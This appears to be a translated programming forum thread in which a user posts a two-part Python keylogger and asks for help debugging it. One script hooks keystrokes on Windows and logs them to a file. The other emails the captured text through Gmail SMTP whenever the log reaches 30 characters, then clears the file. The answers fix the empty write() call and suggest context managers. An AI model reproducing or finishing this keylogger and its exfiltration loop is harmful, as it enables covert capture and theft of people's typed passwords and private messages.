我制作了两部分键盘记录程序,实际的keylogger.py和email.py文件。电子邮件部分不起作用
import urllib2
import smtplib
import time
def internet_check():
try:
response=urllib2.urlopen('http://www.google.com',timeout=10)
return True
except:
return False
def main():
while len(open('output.txt','r+').read()) < 30 or not internet_check():
pass
mail=smtplib.SMTP('smtp.gmail.com:587')
mail.starttls()
mail.login('sendinguser','pass')
mail.sendmail('sendinguser','receivinguser',open('output.txt','r+').read())
mail.quit()
open('output.txt','w').write()
main()
try: #it wont run without this part idk why, it doesnt even give an error,nothing
main() #please explain
except Exception,e:p=input(str(e))
第一次执行后,它会等待30个字符,然后发送电子邮件并清除文件output.txt。 但在那之后,当main()函数第二次运行时,它会打印:
function takes exactly 1 argument (0given)
就是这样。知道为什么吗?
如果需要,import pyHook
import pythoncom
import pywintypes
import time
import sys
import os
f=open('output.txt','a+') #i know it isn't neat, i'll clean it up later ;)
f.write('\n'+time.asctime()+'\n')
f.close()
def OnKeyboardEvent(event):
if event.Ascii==96:
os.system("taskkill /im pythonw.exe /f")
sys.exit()
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
f=open('output.txt','r+')
buffer=f.read()
f.close()
f=open('output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我很肯定它只是第一个代码,任何帮助将不胜感激,并提前感谢您。
答案 0 :(得分:0)
好的,事实证明write()实际上必须给出一个参数,它只是第一次清除因为open('','w')自己清除它,这就是我需要的,我以为它不需要参数,因此错误。它与python 2.7一样,与3.4一样 如果有人想要,我可以发布缩写和清理过的脚本。
答案 1 :(得分:0)
我建议至少学习一些你更喜欢使用的python上下文管理&#39; with&#39;如下:
with open (filename, perm) as fp:
# some operation on fp, e.g. fp.write(...)
这有一个很好的功能,你可以消除close()函数,python将为你提供。
另外:http://en.wikibooks.org/wiki/Python_Programming/Context_Managers